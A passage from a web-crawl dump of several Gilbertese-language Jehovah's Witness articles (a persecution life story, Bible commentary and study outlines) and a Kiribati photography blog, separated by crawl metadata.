teke angau ni kanoan ana katii teuana. N tokina, I a birinako ni karabaai n te buakonikai, imwini kakioau n te raroa ae tenua te maire (5 kiromita). Imwina riki n taini kaboowiakiu, I a tuangaki bwa a tia ni kakatiiai 32 te tai!\n\"I rangi ni maii nako imwini kabanean au tai ae bati i aantano. Ibukin aei, e a waekoa n toki te bwai are I kakaraoia. Ngaia are I a kabatiaa riki au tai i aan te riringa. E rota naba marurungin rabwatau, te titiku i aan tano. N te taina, I a aki kona ni kaea te botaki ae kakawaki teuana ma taari tabeman, ibukina bwa e titiinako te raraa mai bwairiu ao wiu.\"\nKABUREAKIN NIKOLAI\n\"I kabureaki n Tianuare 26, 1957. Onoua te namwakaina imwina, e a kanakoa te moti te Boowi ae Rietata i Ukraine. Tuuaau bon te katiiaki ni kamateaki, ma e bitaki nakon te kabureaki i nanon 25 te ririki, kioina ngke e a tia ni kamaunaaki n te aba te tuuaa ae te kamateaki. Ti kabureaki ngaira waniman n taabo ake a tautoronaki iai buure ao bootan ara ririki ni kabureaki bon 130. Ti kanakoaki nakon taabo ake i Mordvinia, ae a mena iai tao 500 taani Kakoaua. Ti karaba ni bobotaki ni kurubu aika uarereke n reiakina Te Taua-n-Tantani. E taku te tia tararua temanna imwin neneran ara maekatin ake a anaaki: 'E na aki kona ni kaingingaki ami onimaki ngkana kam teimatoa ni wawareki!' Ti boni kakaonimaki nakon tabera aika rawawata ao ni kakaraoa ae bati riki nakon ake ti anganaki. Ma e taekina aei te mataniwi n te tabo anne: 'E aki kakawaki iroura te mwakuri ae kam karaoia ikai. Ti tii kainnanoa kakaonimakimi ao te ongotaeka.'\"\n\"Ti boni kakaonimaki nakon tabera aika rawawata ao ni kakaraoa ae bati riki nakon ake ti anganaki\"\nE AKI KERIKAAKI KAKAONIMAKINA MA NANONA AE ETI\nE ibuobuoki Nikolai ni bairei ekaretia i Estonia ao St. Petersburg i Rutia, imwini kainaomataana man te tabo are a tautoronaki iai buure n 1967. Ni moan 1991, e a kamaunaaki mwin te moti are n 1957 ibukin aki taun te bwai ni kakoaua, ni kaineti ma te bure ae karaoaki. N te tai anne, a a kabebeteaki tuuaaia taani Kakoaua aika bati ake a tia ni karawawataaki irouia taani kairiri. N 1996, e mwaing Nikolai nakoni kaawan Velikiye Luki, i Pskov Oblast, ae tao 300 te maire (500 kiromita) raroana mai St. Petersburg. E kabooa ana auti ae uarereke, ao e kateaki te Tabo n Taromauri irarikin ana auti n 2003. Ni boong aikai, a bobotaki iai uoua ekaretia aika maiureirei.\nI beku ma kaainnabau n te aobiti n tararua ibukia Ana Tia Kakoaua Iehova i Rutia. Ana kabanea n tai ni kawarira ai tibuu ae Nikolai bon i nanoni Maati 2011, tabeua namwakaina i mwaini matena. E ringi nanora ana taeka nakoira aikai ma te mata ni kukurei: \"Mani baika I rinanoi, I a kona n noria ae kaanga ai aron ae e a moanaki ngkai katobibian Ieriko itua te bong.\" (Iot. 6:15) Bon 85 ana ririki ni maiu n te tai anne. E ngae ngke e aki bebete maiuna, ma e kabwarabwaraa n ana taeka aikai: \"Ai kukureira ngai bwa I a tia ni motinnanoa te beku ibukin Iehova ngke te roro n rikirake ngai! I bon aki uringaaba iai!\"","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/w20151015\/akea-uringaabana-n-ana-motinnano\/","date":"2018-03-24T06:19:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257649931.17\/warc\/CC-MAIN-20180324054204-20180324074204-00618.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1666,"character_repetition_ratio":0.041,"word_repetition_ratio":0.01,"special_characters_ratio":0.231,"stopwords_ratio":0.445,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KANAKOAIA TAIMONIO N \"TABONIBAIN TE ATUA\"\nNIBWAN TE KUKUREI NI KOAUA\nE a tibwa tia Iesu ni manga taekina ana kaetieti ibukin te tataro, ma tiaki tii anne te maroro ae bati n okioki n tain ana mwakuri ni minita. E aitara ma bukibuki ni kewe ngke e karaoi kakai i Kariraia, bwa aongkoa e karaoi baikanne ni mwaakan aia tia tautaeka taimonio. E a manga ueke naba ngkai te bukibuki ni kewe aei i Iutaia.\nA mimi te koraki iroun Iesu ngke e kaotinakoa te taimonio are e karaoa te aomata bwa e na kabi n taetae. Ma tiaki anne aroia taani kabuakakaa. A a manga bukinna naba n aron are mai mwaina ni kangai: \"E kanakoia taimonio teuaei ni mwaakani Beretebuba ae aia tia tautaeka taimonio.\" (Ruka 11:15) Iai tabemwaang ake a ukoukori riki bwaai ni kakoaua ibukin Iesu bwa antai ngaia, ao a butiia ibukin te kanikina mai karawa.\nN ataakin are a kani kataia, e a kaekaia Iesu n aron naba are e kaekaia iai taani kabuakaka ake i Kariraia. E taku bwa a na bwaka tautaeka nako ake a kaaitara i bon irouia, ao e iangoia bwa: \"Ngkana e kaitaraa i bon irouna Tatan, ao e na kangaa ngkanne n teimatoa ueana?\" Imwina e a bon tuangia ni kangai: \"Ngkana I kanakoia taimonio n tabonibain te Atua, ao e a bon tia n roko ana Tautaeka n Uea te Atua, ma kam aki ataia.\"—Ruka 11:18-20.\nA riai taan ongora iroun Iesu n uringa te baere riki n rongorongon Iteraera rimoa ngke e taekina \"tabonibain te Atua.\" A taetae kaain ana auti Barao ake a nora Mote ni karaoa te kakai ni kangai: \"Boni mwaakan te Atua ae karaoaki iai aei!\" A koreaki naba n \"tabonibain te Atua\" Tuua ake Tebwina i aoni baaba aika atibu aika uoua. (Te Otinako 8:19; 31:18) N aron naba anne bon \"tabonibain te Atua\" ae taamneina ae raoiroi ke mwaakana ae mwamwakuri are e a kona iai Iesu ni kanakoia taimonio ao ni kamarurungia aoraki. Ngaia are e a bon tia n roko ana Tautaeka n Uea te Atua i buakoia taani kakaaitara aikai, ibukina bwa e a mena i buakoia Iesu ae te Uea n te Tautaeka n Uea anne ni karaoi mwakuri aikai.\nE kakoauaaki mwaakan Iesu i aon Tatan man arona ni kona ni kanakoia taimonio n aron te aomata ae aintoa riki are e tokanikai i aon te aomata are a toamau ana bwai ni buaka are e tararuaa ana auti. E kaokioka naba ana kaikonaki Iesu ae taekan te taimonio ae kitana te mwaane. Ngkana e aki kaona nanona te aomata anne ni bwaai aika raraoi, e na manga oki te taimonio anne ma itiman riki raona, ao e na buakaka riki aron teuanne nakon are n te moantai. (Mataio 12:22, 25-29, 43-45) Bon anne are e riki nakon te natannaomata ae Iteraera.\nE ringaki nanon temanna te aine are ongora iroun Iesu ao e taku: \"E a kukurei neiere uouotiko i nanoni birotona ma ni kammammako!\" A tangiria ainen Iutaia n riki bwa tinan te burabeti, ao riki te Mesia. Ngaia are e bae n iangoia te aine aio bwa e boni kukurei Maria n rikina bwa tinan te tia reirei ae aron teuaei. Ma e kaeta neiei Iesu ni kaineti ma nibwan te kukurei ni koaua ni kangai: \"Tiaki, bwa a a kukurei riki te koraki ake a ongo ana taeka te Atua ma n toua mwina!\" (Ruka 11:27, 28) E tuai man taekinna Iesu bwa e riai n anganaki Maria karineana ae okoro. Ma e kona n reke te kukurei ni koaua iroun te mwaane ke te aine ae kakaonimaki ae ana toro te Atua, ao tiaki ibukina bwa iai irekerekena ma temanna ke te bwai ae karekea ni maiuna.\nN aron are e karaoia Iesu i Kariraia, e boaiia aomata n aia bubutii ibukin te kanikina mai karawa. E taku bwa akea te kanikina ae a na anganaki bwa tii \"ana kanikina Iona.\" E riki Iona bwa te kanikina ni menana i nanoni biroton te ika i nanon tenua te bong ao ibukin ninikoriana n uarongorongo, are a kairaki iai kaain Ninewe bwa a na raraoma. E taku Iesu: \"Ma noria! iai ikai temanna ae kakannato riki nakon Iona.\" (Ruka 11:29-32) E kakannato riki Iesu nakon Toromon, are e roko iai ueannainen Tieba n ongora n rabakauna.\nE reitia Iesu ni kangai: \"Ngkana e kauraa te taura te aomata, ao e aki katikua n te ruu ae raba i aantano ke i aan te bwaene, ma e katokaa i aon te kaintaura.\" (Ruka 11:33) E bae n nanona ae te angareirei ao karaoani kakai i mataia aomata aikai, ai aron ae e karabaaki iai ootan te taura. Kioina ngkai a aki kaatuua raoi aia taratara, a bon aki atai nanon ana mwakuri ake e karaoi.\nE a tibwa tia Iesu ni kanakoa te taimonio ao e a tia ni kaoka taetaen teuare babanga n taetae. A riai n anaaki nanoia aomata bwa a na neboa te Atua mani baikai ao ni kaongoia aomata tabeman baike e a tia ni kakoroi bukia Iehova. Ngaia are e a anga ana kauring Iesu nakoia taani kabuakaka ni kangai: \"Mangaia ae tarataraiko raoi, bwa te oota ane i nanom bon te oota ao tiaki te rotongitong. Mangaia ae ngkana e oota rabwatam ni kabane ao akea ae roo naba teutana iai, ao e na ootanako n aron uran te taura ae anganiko ootana.\"—Ruka 11:35, 36.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/mwakuri-ni-minita-i-iutaia\/tabonibain-te-atua-kukurei\/","date":"2018-03-24T05:22:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257649683.30\/warc\/CC-MAIN-20180324034649-20180324054649-00454.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":897,"character_repetition_ratio":0.053,"word_repetition_ratio":0.007,"special_characters_ratio":0.233,"stopwords_ratio":0.419,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI (KAONGORA IBUKIN TE REIREI) September 2015\nIai n te maekatin aei kaongora ibukin te reirei aika kanoan Okitobwa 26 nakon Nobembwa 29, 2015.\nTi kona n teimatoa n rikirake n te onimaki, e ngae ngke ti a rangi ni maan ni beku iroun Iehova.\nNoria bwa e na kangaa ni buokiko ni karaoi motinnano aika raraoi ibukin te marurung, kaokirii ao te mwakuri ni minita.\nTera reireiara ibukin te onimaki irouni Betero ngke e nakonako i aon te ran?\nKo kunea bwa e kangaanga iroum kakoauaan ke iangoan ae e tangiriko Iehova?\nE bati riki ae irekereke nakon tii te namakin\nRONGORONGONI MAIUNA\nRinanon rongorongoni maiun Melita Jaracz, are e kabanea 50 tabun te ririki ni kabwanina ana beku ibukin te Atua ngaia ma buuna ae Ted Jaracz, are kaain te Rabwata n Tautaeka.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/w20150915\/","date":"2018-04-21T01:07:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125944848.33\/warc\/CC-MAIN-20180420233255-20180421013255-00549.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":131,"character_repetition_ratio":0.034,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.389,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ngkana ti na kakairi n ana tua Iehova, e nanonaki iai te tauraoi n aantaeka n ana kairiri te Atua. A bati katoto aika raraoi n te Baibara ibukira ni kaineti ma te koraki ake titeboo aroia ma te tia areru, ni kakairi n ana tua Iehova ao n onimakinna.\nE reke te kukurei ni koaua ngkana ti kakairi n ana tua te Atua\nE kaotiota Iotua onimakinan raoi ana kairiri Iehova. E ataia ae ngkana e na kukurei ao n tokanikai, e riai n onimakina Iehova ma nanona ni kabane\nTi anganaki n Ana Taeka te Atua te ninikoria ae ti kainnanoia ibukini kaitaraani kataaki ni maiura\nE kaotiota te ninikoria Ieremia ao onimakinan Iehova n taai ake e aitara iai ma kangaanga. E kateimatoa maiuna ae bebete ao e botumwaaka ni mwiokoana\nTi aki nanokokoraki n uarongorongo ngkana iai iroura te atatai ae eti man Ana Taeka te Atua\nE aki maaku Bauro n uataboa tataekinan ana rongorongo te Atua nakoia aomata. E onimakina raoi ana ibuobuoki Iehova ngke e uarongorongo ma te aki maaku nakon te Kowana ae Berika\nTaabo raa ake I kona ni kaotiota riki iai te aki nanokokoraki ngkana I uarongorongo nakoia aomata?\nTabo n Reirei\nTabo ni Mwakuri\nUtu\nTabeua Riki","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/tebetembwa-2016-mwb\/kaetieti-n-te-botaki-teb5-11\/kakairi-ana-tua-Iehova\/","date":"2018-04-23T06:29:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945793.18\/warc\/CC-MAIN-20180423050940-20180423070940-00464.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":208,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.193,"stopwords_ratio":0.476,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ti kona ni kakoauaa raoi bwa a na koro bukin ana berita nako te Atua? E kakoauaa raoi Iesu, ao a kakorakoraaki aia onimaki naake a ongora n ana reirei. Iangoa te kaikonaki are e anga Iesu n ana Kabwarabwara i aon te Maunga are e koreaki taekana ni Mataio 5:18, ae kangai: \"I tuangingkami te koaua, bwa e kona riki ni mauna karawa ma aonnaba, nakon ae e na mauna manin te taeka teuana ae te kabanea n uarereke ae koreaki n te Tua ke tamruruna, n aki kakoroaki moa bukina ni kabane.\"\nTe kabanea n uarereke ni manin te koroboki n te taetae n Ebera bon י (yod), ae te moani man n te Tetragrammaton, ae aran te Atua ae tabu ae Iehova. * Irarikin taeka ao manin taeka ake n Ana Tua te Atua, a iangoia naba taani koroboki ma Baritaio bwa e rangi ni kakawaki naba 'tamrurun' te taeka teuana ae te kabanea n uarereke ae koreaki n te Tua.\nE taekinna Iesu bwa e na bae ni mauna moa karawa ma aonnaba nakon ae e na aki kakoroaki bukin te Tua teuana ae te kabanea n uarereke. Ma e karaui nanora te Baibara bwa e na bon teimatoa karawa ao aonnaba n aki toki. (Taian Areru 78:69) Ngaia are man te kibuntaeka ae rianako aei, e oti iai bwa akea te taeka teuana ae te kabanea n uarereke ae koreaki n te Tua, ae e na aki kakoroaki bukina.\nTe koaua bwa Iehova ae te Atua e tabeakin naba taekani bwaai aika uarereke? Eng. Iangoa aei: A tuangaki tibun Iteraera rimoa bwa a aki riai n otea naba teaina riin te tiibutetei ibukin te Toa ae te Riao. (Te Otinako 12:46) E bae ni kimototo taekana. Te koaua bwa a ota bwa bukin tera ngkai a aki riai n otea teaina te ri? Tao a aki. Ma e ataia Iehova ae te Atua bwa aei taetae ni burabetinakin te Mesia, ae e na aki mwaoto riina naba teaina ngkana e kamateaki i aon te kai ni kammaraki.—Taian Areru 34:20; Ioane 19:31-33, 36.\nTera reireiara n ana taeka Iesu akanne? Ti kona naba ni kakoauaa raoi bwa a na boni koro bukin ana berita ni kabane Iehova ae te Atua. Ai korakorara te raunnano ae reke mani manin te koroboki n te taetae n Ebera ae te kabanea n uarereke aei!\n^ bar. 3 Manin te koroboki n te taetae ni Kuriiti ae te kabanea n uarereke bon iota, ao e oti bwa e kuri n titeboo ma י (yod) ae te taetae n Ebera. Kioina ngkai e koreaki te Tua Rinanoni Mote n te taetae n Ebera, ao ni bwaatinaki rikaaki naba iai, e bae Iesu ngkanne n nanona manin te koroboki n te taetae n Ebera.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-na4-2017-turai\/manin-te-koroboki-n-ebera-ae-yod\/","date":"2018-04-24T03:56:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946453.89\/warc\/CC-MAIN-20180424022317-20180424042317-00426.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":453,"character_repetition_ratio":0.102,"word_repetition_ratio":0.027,"special_characters_ratio":0.237,"stopwords_ratio":0.466,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Iangoia bwa aongkoa ko mena i Kariraia n ana tai Iesu. Ko mwananga nako Ierutarem bwa ko na bukamarua te Toa ae Umwanrianna. A rangi ni bati aomata n te kaawa aei aika taan taromauria naba te Atua ake a roko mai kiraroa. Ko kan anga am karea nakon Iehova, ngaia are ko a moana mwanangam ma am kooti n te kawai ae a ibetutu aomata iai n nakon te tembora. Ngke ko a roko, e a onrake te tembora irouia aomata aika kan angakarea naba. E a roko am tai are ko nang anga iai am kooti nakoia ibonga. Ma ko a tii uringa naba tarim are tao e mena i buakon te koraki ke n te kaawa, bwa iai tangin nanona iroum. E kabwarabwaraa Iesu te bwai ae ko riai ni karaoia. (Wareka Mataio 5:24.) Tera ae ko na karaoia ngkoe ma tarim ni karekea te rau n aron ae e tua Iesu? Rinea te reke ae eti mai nano.\nKO RIAI . . .\nni maroro ma tarim tii ngkana ko taku bwa e bon eti unna iroum\nni kataia ni kaeta ana iango tarim ngkana ko iangoia bwa e rangi ni kakaiun ke e riai ni bukinaki naba n te bure\nni kakauongo ma te taotaonakinnano ngkana e kaota nanona tarim, ao e ngae ngkana ko aki ota raoi iai, nanorinano ni kabwaraa am bure n te baere e un iai ke n rikini baika ko aki kantaningai imwin am mwakuri\nE RIAI TARIM . . .\nn ukera boutokaana mairouia taari tabeman ni karakina am bure nakoia\nni kaonakoko, ni kaotii am bure ni kabane, ao e tangiria bwa ko na taekinna ae ko bure\nn nora nanorinanom ao ninikoriam ni kawaria ao e na kabwaraa am bure mai nanona\nNgkai e a aki kainnanoaki n ara taromauri ni boong aikai karea aika maan, tera ana reirei Iesu ibukin irekereken raoiakinan tarira ma butimwaean ara taromauri iroun te Atua?","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/tianuare-2018-mwb\/kaetieti-n-te-botaki-tian8-14\/raoiakina-tarim-n-te-aro-raa\/","date":"2018-04-20T01:32:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937090.0\/warc\/CC-MAIN-20180420003432-20180420023432-00285.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":317,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.36,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E mwakuri ma te mwane Hitoshi n te kambwana teuana i Tiaban. N ana tai n tuoa te mwane ma ana bwaoti, ao e a tuangaki bwa e na korea te ribooti ae kewe. E kabwarabwaraa Hitoshi bwa e aki kukurei mataniwin nanona ni karaoa te mwakuri ni babakanikawai anne. Ngaia are e a kakamaakaki Hitoshi iroun ana bwaoti bwa e na kabaneaki ao n tokina e a bua ana mwakuri.\nN namwakaina ake imwina, e a nanokawaki Hitoshi ibukini baike a na riki nakon ana mwakuri. N te katoto, n te taina ngke e maroro te aba ma ngaia ibukin te mwakuri ao e taekinna Hitoshi bwa e aki kona ni karaoa te mwakuri ni babakanikawai. E taku te tia kaira te maroro, \"Moan te kamimi am iango anne!\" E kaungaaki Hitoshi irouia ana utu ma raoraona bwa e na teimatoa ni kakaonimaki, ma e a moanna n raraoma teuaei. N te katoto, e taku, \"I a aki koaua raoi bwa e raoiroi te kakaonimaki ni kaineti ma au onimaki ke e aki.\"\nE riki te bwai ae e aitara ma ngaia Hitoshi bwa te kauring ae katabeaiangaia aomata, ngkai e a aki kakawaki te kakaonimaki irouia aomata ni kabane. A boni kona n iangoia tabemwaang bwa anne bukin rikini kangaanga, ai moarara riki n te waaki ni bitineti. E taku te aine ae mwakuri i Aberika Maiaki: \"I a boni mena i buakoia aomata aika babakanikawai, ao n tabetai e a rangi ni kangaanga maiuakinan te kakaonimaki.\"\nTe aeka ni babakanikawai ae e a rangi n taabangaki ni boong aikai bon te bobokewe. Tabeua te ririki n nako, ao e noraki imwin ana ukeuke Robert S. Feldman ae te tia rabakau i aon te iango n te Kuura ae Rietata i Massachusetts Amherst bwa a kona ni kewe 60 te katebubua aomata aika ikawai te taina n te maroro ae maanna tebwina te miniti. E taku Feldman: \"E rangi ni kamimi mwin te kakaae aei. Ti aki kantaningaia bwa e na riki te kewe bwa te anua ae taabangaki.\" E aki ngkanne kamimi ngkai angiina a ribaa kewenakia, ma bon iai naba aroaro tabeua aika rangi ni bwabwainaki riki nakon te kewe?\nE aera ngkai e rangi n taabangaki ni boong aikai bwainan te kewe, te kimoa, ao aanga ni babakanikawai riki tabeua? Tera aron rotakin te botannaomata ni kabane n te babakanikawai? Ao ae kakawaki riki, ti na kangaa n rarawa n iraraang n aaro ni babakanikawai aikai?","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-na1-2016-tianuare\/e-aera-ngkai-a-kewe-aomata\/","date":"2018-04-24T05:21:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946564.73\/warc\/CC-MAIN-20180424041828-20180424061828-00418.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":410,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.473,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N TE MWAKORO AEI\nMWAKORO 66\nTera ae a kona ni kakoauaa iai te koraki ake a ongora iroun Iesu bwa e bon taniaki n te taimonio?\nMWAKORO 67\nE teretere bwa a bane ni kaitaraa Iesu kaain aia boowi ae rietata I-Iutaia, ma e ninikoria temanna kaain te boowi n taetae ibukina.\nMWAKORO 68\nE taku Iesu bwa e na \"kainaomataingkami te koaua.\" Te inaomata man tera?\nMWAKORO 69\nE maroroakina aroni kinaakia natin Aberaam Iesu ao antai raoi Tamana.\nMWAKORO 70\nA titiraki taan rimwina bwa e aera ngkai e bungiaki ni mataki teuaei. E karaoa te bure? A bure ana karo? A kakaokoro aia iango aomata ngke e kamarurunga teuaei Iesu.\nMWAKORO 71\nA rangi n un Baritaio n ana taeka ae ota raoi teuae mataki ngkoa. E kabaneaki teuaei man te tinakoka irouia Baritaio n aron are a A kamani maakua ana karo.\nMWAKORO 72\nE kanakoia taan rimwina ake 70 ao e tuangia bwa a na uarongorongoa taekan te Tautaeka n Uea i Iutaia. A na uarongorongo ia taan rimwina, n taian tinakoka ke ni mwengaia aomata?\nMWAKORO 73\nE kangaa Iesu ni kamanena te kaikonaki ae taekan te I-Tamaria ae te rao ke te \"I-Tamaria ae raoiroi,\" ni karekea iai te reirei ae ringa te nano?\nMWAKORO 74\nA kawaraki Maria ao Mareta iroun Iesu ni mwengaia. Tera ae e reireinia ibukin akoaia iruwa? Ao e kangaa n reireinia taan rimwina imwina riki te bae a na tataroakina?\nMWAKORO 75\nE kaekaia taani kabuakaka Iesu n tuangia taekan \"tabonibain te Atua\" ao rokon te Tautaeka n Uea i buakoia. E kaota naba aroni karekean te kukurei irouia aomata.\nMWAKORO 76\nE kaotaraei Iesu aia mwamwanaa te aba n te Aro Baritaio ao taani koroboki. Baikara uota aika rawawata ake a angania aomata bwa a na uotii?\nMWAKORO 77\nE anga Iesu te kaikonaki ae taekan te aomata ae kaubwai are e katei auti ni kaikobwai aika bubura. Tera te reirei ni kairiri are e kaokiokia ibukin te kangaanga n ukeran te kaubwai?\nMWAKORO 78\nE kaota tabeakinani marurungin aia onimaki taan rimwina Iesu. Tera taben te toro ni kaineti ma marurungin te onimaki? E aera ngkai e rangi ni kakawaki te reirei ni kairiri ibukin te tauraoi?\nMWAKORO 79\nE taekinna Iesu bwa te koraki ake e kataia ni buokiia, a a bon tau ni kamaunanakoaki ngkana a aki rairi nanoia. A na reiakina te reirei ae kakawaki are e kataia n reireinia Iesu ibukin reitakia ma te Atua?\nMWAKORO 80\nE kaotaki raoi ana namakin Iesu ibukia taan rimwina man aron reitakin te tia kawakintiibu ma ana tiibu. A na atai ana reirei ao ni kakairi n ana kairiri?\nMWAKORO 81\nA bukina Iesu tabeman taan tiribure bwa e kani kaboraoia ma te Atua. E kangaa ni mwaatai ni kaitaraa aia bukibuki ni kewe?","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/mwakuri-ni-minita-i-iutaia\/","date":"2018-04-21T05:12:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125944982.32\/warc\/CC-MAIN-20180421032230-20180421052230-00397.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":454,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.388,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Don't be mistaken thinking that this photograph was taken outside Kiribati. One reason why we might be mistaken is because we have used to only seeing these kinds of scenes (photos) from other places! With that in mind, we then think that such pretty spots are hardly found around our islands 🙂 The truth? Kiribati has beautiful sites!\nBack to our photo. I shot this in one of the drying ponds of the Fish Farm at Ananau Causeway – in the afternoon. For some reasons this pond is drying out. As water keeps disappearing, more grass (or weed) begin to grow inside the pond. Water used to fill up this pond, but seeing it now, grass has been growing abundantly turning the bed of the pond into a yellowish green layer. The spot has now become the new home of colourful grass. If water comes back again, this bed of grass will probably disappear.\nDoes this photo inspire you the way it inspires me? Do we have similar admiration out of it? I love the objects in the foreground – numerous colourful grass growing together making up a new yellowish layer at the bottom of the pond. To me, the trees in the background aren't so attracting however the sky is quite okay.\nI handheld my favourite toy (camera) when capturing this unique moment. Wind came from the right side of the image, bringing with it the sound of the moving leaves of casuarina trees that surround the area. I positioned the camera closer to the ground so grass could be in more details. I left the horizon unstraightened (in post processing) as I just wanted it that way. My original shot seemed over-exposed therefore blowing the sky up. I fixed that by placing another sky in PS4. Although the blending of the sky and trees together could have been much better, I hope it's quite okay to your viewing.\nSee you in our next image 🙂\nCan you identify where this photo was taken? Exactly – the main road that goes around the very end of Bonriki International Airstrip. Well, but to which side? Yes the one resting at the lagoon or west side and it runs along the edge of the shoreline. One special thing about this spot is that even though it lies somewhere between the two villages, Bonriki and Tanaea, the road at this spot was the only part included in the Road Renewal Work and therefore was paved permanently with tar by McDowell Construction. The fence you see is part of the fencing that secures the entire airstrip.\nNotice something in regards to light and shadow in the image? You hardly see the shadows, right? That's because I captured this photo some time at mid-day when the sunlight was quite strong from the top. I kinda feared the outside heat so I just took the shot through the window right from inside the car. No way I could use a tripod so I handheld my Nikon D3100 (with kit lens) while using part of the window for steadiness. One good thing about shooting from the shade is seeing clearly both your outside scene and what's in the camera LCD screen.\nBefore uploading this image onto here, I did little post processing in PS4. It includes cropping to remove part of the casuarina tree, colouring and lighting adjustments, spot heal brushing to dissolve unwanted marks and of course sharpening the image (I ain't very good in Photoshop but continue learning). I also reduced the file size and weight for the sake of the website.\nCritical comments will help me improve the coming pictures, so please do so if you have time.\nTi a bita moa ngkai ara scene man te Landscape nakon te Sunset. Te sunset bon teuana te scene ae rangi ni kan nonoraki iroura ni kabane. Eng, e bon tatangiraki ao mani kakukurei tarakin tamnein te sunset – riki taian kara ake e tatao iai te uraura ke te orange.\nKo ongongo aia anene ataein Kiribati are e bwabwainaki rimoa ngkana a nora taai bwa e nangi bung? E taku mwanewena, \"Tiiron Tiron, Taaron Taaron ….\" N aia tai n anene ao a boni bae ni mena iaon te bike (lagoon side) ao n tabe ni matakuakina taai n ana tai n ruruon ao n rinnako ian tari. Bukin tera aki toki atein Kiribati ni kakaraoa te waaki aei? Teuana bukina ae ti aki nanououa iai bwa a katikaki nanoia ni karan (colours) te sunset.\nIrouia photographers ao te bwakantaai bon te aoa ae rangi n tamaroa ibukin te rawetamnei kioina ngke e marau te oota iai. N te English ao e aranaki bwa te Golden Hour ke te tai are e koora iai te oota.\nI kuri aki ooa kabanean aoan te Golden Hour n te bong aei. Taai e nang mauna nako ma I tekeraoi bwa I kauia n te tabo ae ko noria aio. I kataia ni kabongana te nei anne bwa te rain are e na kaira matan te tia mataku nakon te sun are e nang set in the west.\nIai te anga ae I kona ni katamaroa riki iai te sunset aei?\nN te tai aio ao ti a manga wairio nako Betio n noria bwa tera au tamnei are e na kona n reke n te tai aei. E rio aio bwa e angaraoi ma kawaiu nakon te KIT bwa N na kabaea aran au ataei temanna n te Automotive Intake 2018. I roko i Betio imwaain inin te reirei n te aoa 4pm. Ngke e bane tabera n te KIT ao I a buti ritanrion te reirei aio bwa are e rangi n tamaroa kawaina bwa are te korotaa naba (nora te kawai n te tamnei aei).\nNgaia anne, te kawai aei are e biri man te High Court ritanrion te KIT nako akuun te 